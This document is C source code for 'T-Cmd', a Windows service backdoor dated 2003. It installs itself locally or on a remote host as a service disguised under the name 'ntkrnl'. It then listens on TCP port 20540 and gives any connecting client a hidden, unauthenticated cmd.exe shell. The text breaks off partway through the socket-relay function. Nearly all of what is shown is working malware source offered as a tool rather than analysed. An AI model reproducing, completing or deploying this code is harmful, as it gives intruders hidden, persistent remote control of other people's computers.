t-cmd.cpp

服务级后门T-Cmd源代码

#include <windows.h>
#include <stdio.h>

#define BUFFER_SIZE  1024                    
                                             
typedef struct
{
	HANDLE  hPipe;
	SOCKET  sClient;
}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA
{
	HANDLE        hProcess;
	DWORD         dwProcessId;
	struct        PROCESSDATA  *next;
}PROCESSDATA,*PPROCESSDATA;

HANDLE                hMutex;
PPROCESSDATA          lpProcessDataHead;
PPROCESSDATA          lpProcessDataEnd;
SERVICE_STATUS        ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void  WINAPI CmdStart(DWORD,LPTSTR *);
void  WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);

BOOL  ConnectRemote(BOOL,char *,char *,char *);
void  InstallCmdService(char *);
void  RemoveCmdService(char *);

void  Start(void);
void  Usage(void);

int main(int argc,char *argv[])
{
	SERVICE_TABLE_ENTRY DispatchTable[] =
	{
		{"ntkrnl",CmdStart},
		{NULL    ,NULL    }
	};

	if(argc==5)
	{
		if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
		{
			return -1;
		}

		if(!stricmp(argv[1],"-install"))
		{
			InstallCmdService(argv[2]);
		}
		else if(!stricmp(argv[1],"-remove"))
		{
			RemoveCmdService(argv[2]);
		}

		if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
		{
			return -1;
		}
		return 0;	
	}
	else if(argc==2)
	{
		if(!stricmp(argv[1],"-install"))
		{
			InstallCmdService(NULL);
		}
		else if(!stricmp(argv[1],"-remove"))
		{
			RemoveCmdService(NULL);
		}
		else
		{
			Start();
			Usage();
		}
		return 0;
	}

	StartServiceCtrlDispatcher(DispatchTable);

	return 0;
}

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
	HANDLE    hThread;

	ServiceStatus.dwServiceType             = SERVICE_WIN32;
	ServiceStatus.dwCurrentState            = SERVICE_START_PENDING;
	ServiceStatus.dwControlsAccepted        = SERVICE_ACCEPT_STOP
		                                    | SERVICE_ACCEPT_PAUSE_CONTINUE;
	ServiceStatus.dwServiceSpecificExitCode = 0;
	ServiceStatus.dwWin32ExitCode           = 0;
	ServiceStatus.dwCheckPoint              = 0;
	ServiceStatus.dwWaitHint                = 0;

	ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
	if(ServiceStatusHandle==0)
	{
		OutputDebugString("RegisterServiceCtrlHandler Error !\n");
		return ;
	}

	ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	ServiceStatus.dwCheckPoint   = 0;
	ServiceStatus.dwWaitHint     = 0;
	
	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
	{
		OutputDebugString("SetServiceStatus in CmdStart Error !\n");
		return ;
	}

	hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
	if(hThread==NULL)
	{
		OutputDebugString("CreateThread in CmdStart Error !\n");
	}

	return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
	switch(dwCode)
	{
	case SERVICE_CONTROL_PAUSE:
		ServiceStatus.dwCurrentState = SERVICE_PAUSED;
		break;

	case SERVICE_CONTROL_CONTINUE:
		ServiceStatus.dwCurrentState = SERVICE_RUNNING;
		break;

	case SERVICE_CONTROL_STOP:      
		WaitForSingleObject(hMutex,INFINITE);
		while(lpProcessDataHead!=NULL)
		{
			TerminateProcess(lpProcessDataHead->hProcess,1);
			if(lpProcessDataHead->next!=NULL)
			{
				lpProcessDataHead=lpProcessDataHead->next;
			}
			else
			{
				lpProcessDataHead=NULL;
			}
		}

		ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
		ServiceStatus.dwWin32ExitCode = 0;
		ServiceStatus.dwCheckPoint    = 0;
		ServiceStatus.dwWaitHint      = 0;
		if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
		{
			OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
		}

		ReleaseMutex(hMutex);
		CloseHandle(hMutex);
		return ;

	case SERVICE_CONTROL_INTERROGATE:
		break;

	default:
		break;
	}

	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
	{
		OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
	}

	return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)
{   
    WSADATA              wsa;
    SOCKET               sServer;
    SOCKET               sClient;
	HANDLE               hThread;
	struct               sockaddr_in sin;

	WSAStartup(MAKEWORD(2,2),&wsa);
	sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(sServer==INVALID_SOCKET)
	{
		OutputDebugString("Socket Error !\n");
		return -1;                                   
	}
	sin.sin_family           = AF_INET;
	sin.sin_port             = htons(20540);
	sin.sin_addr.S_un.S_addr = INADDR_ANY;

	if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
	{
		OutputDebugString("Bind Error !\n");
		return -1;
	}
	if(listen(sServer,5)==SOCKET_ERROR)   
	{
		OutputDebugString("Listen Error !\n");
		return -1;
	}
	
	hMutex=CreateMutex(NULL,FALSE,NULL);
	if(hMutex==NULL)
	{
		OutputDebugString("Create Mutex Error !\n");              
	}
    lpProcessDataHead=NULL;
	lpProcessDataEnd=NULL;

    while(1)
	{
		sClient=accept(sServer,NULL,NULL);
		hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
		if(hThread==NULL)
		{
			OutputDebugString("CreateThread of CmdShell Error !\n");
			break;
		}
		Sleep(1000);
	}

    WSACleanup();
	return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)        
{
	SOCKET               sClient=*(SOCKET *)lpParam;
    HANDLE               hWritePipe,hReadPipe,hWriteShell,hReadShell;
	HANDLE               hThread[3];
	DWORD                dwReavThreadId,dwSendThreadId;
	DWORD                dwProcessId;
	DWORD                dwResult;
	STARTUPINFO          lpStartupInfo;
	SESSIONDATA          sdWrite,sdRead;
	PROCESS_INFORMATION  lpProcessInfo;
	SECURITY_ATTRIBUTES  saPipe;
	PPROCESSDATA         lpProcessDataLast;
    PPROCESSDATA         lpProcessDataNow;
	char                 lpImagePath[MAX_PATH];

	saPipe.nLength              = sizeof(saPipe);
	saPipe.bInheritHandle       = TRUE;
	saPipe.lpSecurityDescriptor = NULL;
	if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)                
	{
		OutputDebugString("CreatePipe for ReadPipe Error !\n");
		return -1;
	}

	if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)              
	{
		OutputDebugString("CreatePipe for WritePipe Error !\n");
		return -1;
	}

	GetStartupInfo(&lpStartupInfo);
	lpStartupInfo.cb           = sizeof(lpStartupInfo);
	lpStartupInfo.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	lpStartupInfo.hStdInput    = hWriteShell;
	lpStartupInfo.hStdOutput   = hReadShell;
	lpStartupInfo.hStdError    = hReadShell;
	lpStartupInfo.wShowWindow  = SW_HIDE;

	GetSystemDirectory(lpImagePath,MAX_PATH);
	strcat(lpImagePath,("\\cmd.exe"));
	
	WaitForSingleObject(hMutex,INFINITE);
	if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
	{
		OutputDebugString("CreateProcess Error !\n");
		return -1;
	}

	lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
	lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
	lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
	lpProcessDataNow->next=NULL;
	if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
	{
		lpProcessDataHead=lpProcessDataNow;
		lpProcessDataEnd=lpProcessDataNow;
	}
	else
	{
		lpProcessDataEnd->next=lpProcessDataNow;
		lpProcessDataEnd=lpProcessDataNow;
	}

	hThread[0]=lpProcessInfo.hProcess;
	dwProcessId=lpProcessInfo.dwProcessId;
	CloseHandle(lpProcessInfo.hThread);
	ReleaseMutex(hMutex);

	CloseHandle(hWriteShell);
	CloseHandle(hReadShell);

	sdRead.hPipe    = hReadPipe;
	sdRead.sClient  = sClient;
	hThread[1]      = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
	if(hThread[1]==NULL)
	{
		OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
		return -1;
	}

	sdWrite.hPipe   = hWritePipe;
	sdWrite.sClient = sClient;
	hThread[2]      = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
	if(hThread[2]==NULL)
	{
		OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
		return -1;
	}

	dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);   
	if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
	{
		dwResult-=WAIT_OBJECT_0;
		if(dwResult!=0)
		{
			TerminateProcess(hThread[0],1);
		}
		CloseHandle(hThread[(dwResult+1)%3]);
		CloseHandle(hThread[(dwResult+2)%3]);
	}

	CloseHandle(hWritePipe);
	CloseHandle(hReadPipe);

	WaitForSingleObject(hMutex,INFINITE);
	lpProcessDataLast=NULL;
    lpProcessDataNow=lpProcessDataHead;
	while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
	{
		lpProcessDataLast=lpProcessDataNow;
		lpProcessDataNow=lpProcessDataNow->next;
	}
	if(lpProcessDataNow==lpProcessDataEnd)
	{
		if(lpProcessDataNow->dwProcessId!=dwProcessId)
		{
			OutputDebugString("No Found the Process Handle !\n");
		}
		else
		{
			if(lpProcessDataNow==lpProcessDataHead)
			{
				lpProcessDataHead=NULL;
				lpProcessDataEnd=NULL;
			}
			else
			{
				lpProcessDataEnd=lpProcessDataLast;
			}
		}
	}
	else
	{
		if(lpProcessDataNow==lpProcessDataHead)
		{
			lpProcessDataHead=lpProcessDataNow->next;
		}
		else
		{
			lpProcessDataLast->next=lpProcessDataNow->next;
		}	
	}
	ReleaseMutex(hMutex);

	return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
	SESSIONDATA  sdRead=*(PSESSIONDATA)lpParam;
	DWORD        dwBufferRead,dwBufferNow,dwBuffer2Send;
	char         szBuffer[BUFFER_SIZE];
	char         szBuffer2Send[BUFFER_SIZE+32];
	char         PrevChar;
	char         szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y   ]---\r\n\t\t---[ E-mail: [e-mail] ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003            ]---\r\n\n";
    char         szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

    send(sdRead.sClient,szStartMessage,256,0);
	send(sdRead.sClient,szHelpMessage,256,0);

	while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
	{        
		if(dwBufferRead>0)
		{
			ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
		}
		else
		{
			Sleep(10);
			continue;